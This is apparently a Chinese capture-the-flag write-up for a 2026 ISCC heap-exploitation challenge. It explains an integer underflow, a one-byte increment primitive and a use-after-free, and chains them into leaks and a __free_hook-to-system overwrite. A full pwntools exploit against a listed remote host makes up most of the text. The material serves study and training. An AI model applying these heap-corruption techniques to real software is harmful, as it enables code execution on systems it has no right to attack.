iscc2026 pwn4(test)题解

题目概述

本题是一道经典的堆漏洞综合利用题目,同时存在整数下溢、Off-by-one、UAF(Use After Free)三个核心漏洞 ,程序分为老师端学生端双角色模式,我们需要通过角色切换,串联三类漏洞完成堆重叠、地址泄露、hook 劫持,最终 getshell 获取 flag。

核心利用链:unsorted bin 堆重叠 → 劫持学生结构体 → 覆写__free_hook为system → 执行命令拿flag


一、程序功能与漏洞分析

1. 程序双角色设计

程序分为老师端学生端,所有学生数据、评语数据均存储在堆上,角色可自由切换,是漏洞利用的关键操作前提。

2. 老师端核心功能(含漏洞点)

老师端是堆内存操作的核心入口,包含 5 个关键函数:

sub_1424(分配学生) 底层连续调用两次callocv2(0x20) + v3(0x18),对应堆上MAIN(0x30)SUB(0x20)两个块。✅ 特性 :每添加 1 个学生,固定消耗0x50堆空间,评语指针(comment_ptr)存储在 SUB 块 + 8 偏移处

sub_1538(随机打分) 随机为学生赋值,检测学生是否执行pray操作:✅ 漏洞触发点 :若pray_flag == 1,分数直接减 10,为整数下溢埋下伏笔。

sub_1691(首次写评语) 输入学生 ID + 评语大小 → calloc分配堆块 → 写入评语内容。

sub_1875(叫家长 / 删除学生) 满足三次条件后删除学生,执行free释放堆块。✅ 漏洞点 :释放后未清空指针,UAF(释放后重用)漏洞

**sub_1E62(切换模式)**实现老师端 / 学生端自由切换。

3. 学生端核心功能(含漏洞点)

学生端依赖老师分配学生,分数由老师制定,核心漏洞集中在查评语功能:

  1. sub_1C58(查评语 / 触发彩蛋)

    • 无符号比较绕过 :判断逻辑if(分数 > 0x59u)(无符号大于 89),整数下溢后分数会变成超大正数,直接绕过检查。
    • 彩蛋奖励 :① 泄露 MAIN 块堆地址(堆泄露);② 允许输入地址执行单字节 + 1(Off-by-one 漏洞)。
  2. 整数下溢漏洞 分数为 32 位有符号整数,初始 0-9 分,减 10 后必然为负数,存入堆内存时转换为0xFFFFFFF6这类超大无符号正数,完美绕过分数检查。

  3. Off-by-one 漏洞 彩蛋功能支持任意地址单字节 + 1,可篡改指针偏移,实现堆块地址劫持。


二、漏洞利用思路(完整版)

  1. 基础铺垫:创建 5 个学生,为指定学生分配大尺寸评语(超出 tcache 范围,确保 free 后进入 unsorted bin);
  2. 触发整数下溢:学生祈祷 → 老师打分减 10 → 分数下溢为超大正数;
  3. 触发彩蛋:泄露堆基址,利用 Off-by-one 篡改评语指针,指向目标堆块头部;
  4. 堆重叠构造:编辑评语伪造堆块 size,free 后形成 unsorted bin 重叠,泄露 libc 地址;
  5. 劫持结构体:新建学生,从 unsorted bin 分配内存,覆写学生结构体,将评语指针指向__free_hook
  6. 拿 flag:将__free_hook覆写为system,创建评语写入命令,free 触发system执行。

三、EXP 代码详解

1. 函数封装(操作标准化)

我们先封装所有高频操作,简化后续利用代码:

python

运行

复制代码
def teacher_add_student(qs):          # 老师:添加学生
def teacher_give_score():             # 老师:打分(触发下溢)
def teacher_write_review_new():       # 老师:新建评语(分配堆)
def teacher_write_review_edit():      # 老师:编辑评语(写内存)
def teacher_call_parent(idx):         # 老师:删学生(free 堆)
def change_role(role):                # 切换角色(0老师/1学生)
def student_change_id(idx):           # 学生:切换ID
def student_pray():                   # 学生:祈祷(打标记)

2. 分步利用逻辑

(1)初始化环境,创建学生

切换老师模式,创建 5 个学生,分配基础堆块:

python

运行

复制代码
p.sendlineafter(b"role: <0.teacher/1.student>: ", b"0")
# 创建5个学生,分配5组MAIN+SUB堆块
for _ in range(5):
    teacher_add_student(1)
(2)分配评语,构造 unsorted bin 条件

为学生分配不同大小评语:

  • 学生 1/4:小尺寸,用于隔离 top chunk,保持已分配状态;
  • 学生 2/3:1023 字节 → 生成0x410大堆块,超出 tcache 范围,free 后直接进入 unsorted bin。

python

运行

复制代码
teacher_write_review_new(1, 256, b"A"*256)
teacher_write_review_new(2, 1023, b"B"*1023)
teacher_write_review_new(3, 1023, b"C"*1023)
teacher_write_review_new(4, 24, b"D"*24)
(3)触发整数下溢

学生 0 祈祷 → 老师打分减 10 → 0-10 = 负数 → 堆中存储为超大无符号数:

python

运行

复制代码
change_role(1)        # 切到学生模式
student_change_id(0)  # 选中学生0
student_pray()        # 标记祈祷
change_role(0)        # 切回老师
teacher_give_score()  # 触发分数下溢
(4)触发彩蛋,泄露堆地址

查看学生 0 评语,触发奖励,获取 MAIN 块堆地址:

python

运行

复制代码
change_role(1)
student_change_id(0)
p.sendlineafter(b"choice>> ", b"2")  # 触发彩蛋
# 接收并解析堆泄露地址
p.recvuntil(b"Good Job! Here is your reward! ")
leak = int(p.recvline().strip(), 16)
log.success(f"Heap leak: {hex(leak)}")
(5)Off-by-one 篡改指针,伪造堆块

利用彩蛋的单字节 + 1 功能,修改学生 1 的评语指针,指向学生 2 堆块头部,伪造大堆块大小:

python

运行

复制代码
# 目标地址:学生1的comment_ptr第二字节
addr_to_inc = leak + 0x89
p.sendafter(b"add 1 to wherever you want! addr: ", f"{addr_to_inc} \n".encode())

# 编辑学生1评语,写入伪造size=0x821(学生2+3合并大小)
change_role(0)
payload = p64(0) + p64(0x821)
payload = payload.ljust(256, b'\x00')
teacher_write_review_edit(1, payload)

# free学生2,伪造堆块进入unsorted bin
teacher_call_parent(2)
(6)泄露 libc 基址

读取 unsorted bin 的 fd 指针,计算 libc 基地址:

python

运行

复制代码
change_role(1)
student_change_id(1)
p.sendlineafter(b"choice>> ", b"2")
p.recvuntil(b"here is the review:\n")
review = p.recv(256, timeout=5)

# 解析libc地址
main_arena_unsorted = u64(review[16:24])
libc.address = main_arena_unsorted - (libc.sym['__malloc_hook'] + 0x70)
log.success(f"Libc base: {hex(libc.address)}")
(7)劫持结构体,覆写__free_hook

新建学生,从 unsorted bin 分配内存,覆写结构体,将评语指针指向__free_hook

python

运行

复制代码
change_role(0)
teacher_add_student(1)  # 从unsorted bin切割内存

# 构造payload:修复堆头 + 劫持comment_ptr到__free_hook
payload = b""
payload += p64(0) + p64(0x31)
payload += p64(leak + 0x2D0) + p64(0)*3
payload += p64(0x21) + p64(0)
payload += p64(libc.sym['__free_hook'])  # 核心:劫持指针
payload += p32(0x100) + p32(0)
payload += p64(0x7D1) + p64(main_arena_unsorted)*2
payload = payload.ljust(256, b'\x00')
teacher_write_review_edit(1, payload)
(8)执行命令,获取 flag

__free_hook覆写为system,创建评语写入命令,free 触发执行:

python

运行

复制代码
# 覆写__free_hook = system
payload = p64(libc.sym['system']).ljust(0x100, b'\x00')
teacher_write_review_edit(4, payload)

# 写入命令,free触发system
teacher_add_student(1)
cmd = b"cat /flag*\x00".ljust(32, b'\x00')
teacher_write_review_new(5, 32, cmd)
teacher_call_parent(5)

四、完整可运行 EXP

python

运行

复制代码
#!/usr/bin/env python3
from pwn import *

# 环境配置
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

elf = ELF('./attachment-35')
libc = ELF('./attachment-35.so')
p = remote('39.96.193.120', 10008)

# ====================== 功能函数封装 ======================
def teacher_add_student(qs):
    p.sendlineafter(b"choice>> ", b"1")
    p.sendlineafter(b"enter the number of questions: ", str(qs).encode())

def teacher_give_score():
    p.sendlineafter(b"choice>> ", b"2")

def teacher_write_review_new(idx, size, content):
    p.sendlineafter(b"choice>> ", b"3")
    p.sendlineafter(b"which one? > ", str(idx).encode())
    p.sendlineafter(b"please input the size of comment: ", str(size).encode())
    p.sendafter(b"enter your comment:\n", content)

def teacher_write_review_edit(idx, content):
    p.sendlineafter(b"choice>> ", b"3")
    p.sendlineafter(b"which one? > ", str(idx).encode())
    p.sendafter(b"enter your comment:\n", content)

def teacher_call_parent(idx):
    p.sendlineafter(b"choice>> ", b"4")
    p.sendlineafter(b"which student id to choose?\n", str(idx).encode())

def change_role(role):
    p.sendlineafter(b"choice>> ", b"5")
    p.sendlineafter(b"role: <0.teacher/1.student>: ", str(role).encode())

def student_change_id(idx):
    p.sendlineafter(b"choice>> ", b"6")
    p.sendlineafter(b"input your id: ", str(idx).encode())

def student_pray():
    p.sendlineafter(b"choice>> ", b"3")

# ====================== 漏洞利用主逻辑 ======================
def exploit():
    # 1. 切换老师模式,创建5个学生
    p.sendlineafter(b"role: <0.teacher/1.student>: ", b"0")
    for _ in range(5):
        teacher_add_student(1)

    # 2. 分配评语,构造unsorted bin条件
    teacher_write_review_new(1, 256, b"A" * 256)
    teacher_write_review_new(2, 1023, b"B" * 1023)
    teacher_write_review_new(3, 1023, b"C" * 1023)
    teacher_write_review_new(4, 24, b"D" * 24)

    # 3. 触发整数下溢
    change_role(1)
    student_change_id(0)
    student_pray()
    change_role(0)
    teacher_give_score()

    # 4. 触发彩蛋,泄露堆地址
    change_role(1)
    student_change_id(0)
    p.sendlineafter(b"choice>> ", b"2")
    p.recvuntil(b"Good Job! Here is your reward! ")
    leak = int(p.recvline().strip(), 16)
    log.success(f"Heap leak: {hex(leak)}")

    # 5. Off-by-one篡改指针
    addr_to_inc = leak + 0x89
    p.sendafter(b"add 1 to wherever you want! addr: ", f"{addr_to_inc} \n".encode())
    p.recvuntil(b"no reviewing yet!\n")

    # 6. 伪造堆块,free进入unsorted bin
    change_role(0)
    payload = p64(0) + p64(0x821)
    payload = payload.ljust(256, b'\x00')
    teacher_write_review_edit(1, payload)
    teacher_call_parent(2)

    # 7. 泄露libc基址
    change_role(1)
    student_change_id(1)
    p.sendlineafter(b"choice>> ", b"2")
    p.recvuntil(b"here is the review:\n")
    review = p.recv(256, timeout=5)
    main_arena_unsorted = u64(review[16:24])
    libc.address = main_arena_unsorted - (libc.sym['__malloc_hook'] + 0x70)
    log.success(f"Libc base: {hex(libc.address)}")

    # 8. 新建学生,劫持结构体
    change_role(0)
    teacher_add_student(1)
    payload = b""
    payload += p64(0) + p64(0x31)
    payload += p64(leak + 0x2D0) + p64(0)*3
    payload += p64(0x21) + p64(0)
    payload += p64(libc.sym['__free_hook'])
    payload += p32(0x100) + p32(0)
    payload += p64(0x7D1) + p64(main_arena_unsorted)*2
    payload = payload.ljust(256, b'\x00')
    teacher_write_review_edit(1, payload)

    # 9. 覆写__free_hook,执行命令拿flag
    payload = p64(libc.sym['system']).ljust(0x100, b'\x00')
    teacher_write_review_edit(4, payload)
    teacher_add_student(1)
    cmd = b"cat /flag*\x00".ljust(32, b'\x00')
    teacher_write_review_new(5, 32, cmd)
    teacher_call_parent(5)

    # 接收结果
    log.success("Exploit 执行完成!")
    try:
        output = p.recvrepeat(3)
        log.success(f"Flag: {output.decode()}")
    except:
        pass
    p.interactive()

if __name__ == "__main__":
    exploit()
相关推荐
alxraves2 小时前
超声诊断图像的关键算法概述
算法·安全·健康医疗·制造·信号处理
skilllite作者3 小时前
GEO 是什么:从搜索引擎到「对话式答案」的信息可见性
java·前端·笔记·安全·搜索引擎·agentskills
jimy13 小时前
Oracle的VM.Standard.E2.1.Micro虚拟机创建后,必要的安全设置,卸snap省内存
服务器·安全
小冷爱学习!3 小时前
Apache Shiro 1.2.4 反序列化漏洞Shiro-550(CVE-2016-4437)
服务器·网络·python·安全·网络安全·apache
跨境小彭3 小时前
Temu 批量下架工具推荐|合规安全,支持 SPU/ID 批量导入
大数据·人工智能·安全·跨境电商·temu
南村群童欺我老无力.3 小时前
鸿蒙PC链接数据库操作的并发与事务安全
数据库·安全·华为·harmonyos
一拳一个娘娘腔3 小时前
渗透测试实战(一):文件传输全技法与深度解析
安全
cd_949217213 小时前
HPE以全新自主网络能力推动“自动驾驶的网络”愿景落地,加速安全AI原生运维
网络·安全·自动驾驶
世界尽头与你3 小时前
Ollama 内存泄漏漏洞(CVE-2026-7482)
安全·网络安全·渗透测试